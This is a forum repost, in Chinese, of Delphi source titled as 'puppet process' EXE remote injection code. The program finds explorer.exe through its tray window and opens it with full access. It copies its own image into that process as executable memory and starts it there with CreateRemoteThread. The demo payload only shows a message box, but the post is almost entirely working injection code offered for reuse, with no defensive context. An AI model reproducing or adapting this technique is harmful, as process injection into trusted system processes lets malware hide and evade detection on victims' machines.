|
- UID
- 18
- 精華
- 0
- 積分
- 171
- 金錢
- 272
- 奉獻值
- 0
- 閱讀權限
- 20
- 最後登錄
- 2012-2-4
|
[轉貼] 傀儡進程 EXE遠程注入代碼
- program MainProject;
- {$IMAGEBASE $12120000} //換個鏡像基址，這裡是必須得，否則容易覆蓋EXPLORER的進程信息
- //===========================================================================
- uses
- windows,
- UrlMon,
- dialogs;
- //windows是一定要的
- //===========================================================================
- Function Main(dwEntryPoint:Pointer):LongWord;stdcall;
- begin
- sleep(10000);
- MessageBox(0,'注入explorer!!','',0);
- result:=0;
- end;
- //===========================================================================
- procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
- var
- Module, NewModule: Pointer;
- Size, BytesWritten, TID: longword;
- begin
- Module := Pointer(GetModuleHandle(nil));
- Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
- VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
- NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
- CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
- end;
- //===========================================================================
- var
- PID,ProcessHandle:LongWord;
- begin
- GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @PID); //Shell_TrayWnd為exp類名
- ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
- Inject(ProcessHandle,@Main); //注入explorer.exe進程。
- CloseHandle(ProcessHandle);
- end.
|
|
